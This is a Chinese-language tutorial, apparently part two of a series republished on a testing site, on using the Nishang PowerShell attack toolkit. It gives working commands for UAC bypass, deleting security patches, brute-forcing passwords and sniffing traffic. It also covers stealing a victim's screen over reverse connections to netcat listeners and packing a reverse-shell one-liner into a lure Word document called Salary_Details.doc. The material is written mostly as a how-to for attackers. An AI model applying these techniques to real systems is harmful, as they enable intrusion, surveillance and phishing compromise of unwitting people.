PowerShell攻防进阶篇:nishang工具用法详解(2)

发表于:2022-10-21 09:35

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:嘶吼RoarTalk    来源:知乎

  4.3 webshell
  存放于nishangAntak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全,日aspx的站必备的东西。
  同样需要账号密码,上传下载,无所不能。
  4.4 提权
  渗透过程中,这里应该是使用最多的地方了。
  4.4.1 尝试本地权限提升
  Enable-DuplicateToken
  这个脚本在我们具有一定权限的时候,可以帮助帮助我们获得系统权限。
  4.4.2 Bypass UAC
  Invoke-PsUACme 看名字就知道是干嘛的了。绕过UAC吗~,Nishang中给出的方法太全面了,GET-HELP来看看帮助信息。
  实例一: 使用Sysprep方法和默认的Payload执行。
  实例二: 使用oobe方法跟默认的payload执行。
  实例三: 使用oobe方法跟自制payload执行。
  这个模块用的是UACME项目的DLL来Bypass UAC。所以,方法对照表。
  这只是官方给的例子,回过头来看一眼上面的参数信息。
  -Payloadpath指定一个payload路径
  -CustomDll64
  指定一个dll文件,后两位代表系统位数。
  -CustomDll32
  尝试本地Bypass UAC:
  4.4.3 删除补丁
  删除补丁,这是我见过最`厉害`的脚本,没有之一。如此骚气!
  Remove-Update
  实例一: 删除全部补丁
  实例二: 删除全部的安全补丁
  实例三: 删除指定的补丁
  这是删除之前的补丁情况。
  尝试删除第一个补丁。
  成功删除了第一个补丁。
  4.5端口扫描,爆破
  4.5.1: 端口扫描
  来详细说明下个个参数
  可以使用 Get-Help Invoke-PortScan -full 查看帮助信息。
  -StartAddress 开始的IP地址
  -EndAddress 结束的IP地址
  -ResolveHost 是否解析主机名
  -ScanPort要不要进行端口扫描
  -Port 要扫描的端口(默认很多,看上图)
  -TimeOut 超时时间
  对我本地局域网进行扫描:
  Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost
  扫描中:
  扫描结束:
  4.5.2 弱口令爆破
  Invoke-BruteForce
  之前先说命令参数。
  -ComputerName 对应服务的计算机名
  -UserList 用户名字典
  -PasswordList 密码字典
  -Service 服务(默认为:SQL
  -StopOnSuccess 匹配一个后停止
  -Delay 延迟时间
  有了上面的说明,这里看到应该很清楚了。不在做过多的解释。
  4.6 嗅探
  内网嗅探,动静太大了,但是,实在没办法的时候,不得不说,这是一个办法。
  在靶机上执行:Invoke-Interceptor -ProxyServer 192.168.250.172 -ProxyPort 9999
  监听机器上执行:netcat -lvvp 9999
  4.7 屏幕窃取
  Show-TargetScreen
  屏幕窃取,一样正反向通吃
  -IPAddress 后面加IP地址(反向链接需要)
  -Port 加端口
  -Bind 正向连接
  反向链接窃取屏幕
  靶机:Show-TargetScreen -Reverse -IPAddress 192.168.250.172 -Port 3333
  攻击机:netcat -nlvp 3333 | netcat -nlvp 9999
  之后访问攻击机器的9999端口,就可以窃取到屏幕了
  正向连接窃取屏幕
  靶机执行:Show-TargetScreen -Bind -Port 3333
  攻击机执行:netcat -nv 192.168.250.37 3333 | netcat -lnvp 9999
  之后同样,访问本机的9999端口,就能正常访问了。
  4.8 Client
  Nishang可以生成各式各样的客户端。类型大概有这么多类型全都可以生成。选择一种来说,其他的方法都是类似的。
  打开nishangShellsInvoke-PowerShellTcpOneLine.ps1这个文件,复制第三行的内容。可以看到中间有一个TCPClient的参数,这里就是远程连接的地址了。
  更改这个地址和端口即可,之后进入命令行执行
  Invoke-Encode -DataToEncode '你的代码' -IsString -PostScript
  执行完成之后会在当前目录下生成两个文件。一个是encoded.txt 另一个是encodedcommand.txt。之后执行
  Out-Word -PayloadScript .encodedcommand.txt
  就可以在我们当前文件夹下生成一个名为Salary_Details.doc的doc文件。之后使用nc监听就好。说完了操作,回过头来看看命令行参数:
  -Payload 后面直接加payload,但是注意引号的闭合
  -PayloadURL 传入远程的payload进行生成
  -PayloadScript 指定本地的脚本进行生成
  -Arguments 之后加要执行的函数。(payload之中有的函数)
  -OutputFile 输出的文件名
  -WordFileDir 输出的目录地址
  -Recurse 在WordFileDir中递归寻找Word文件
  -RemoveDocx 创建完成后删除掉原始的文件
  5.总结
  看完之后肯定一脸懵逼,这都是啥。这么复杂的语法,没办法,针对PowerShell的工具语法相对而言都比较复杂。而且,并没有讲解nishang的后门模块,个人觉得不是那么好用。还有一些反弹技巧并没有详细介绍,比如说什么DNS反弹,ICMP反弹,WMI反弹。
  有兴趣的朋友可以自行研究,每一款工具针对不同的环境都能给我们带来意想不到的效果。不用归不用,但是到万不得已用的时候,才是最恶心的,艺多不压身嘛~
  本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号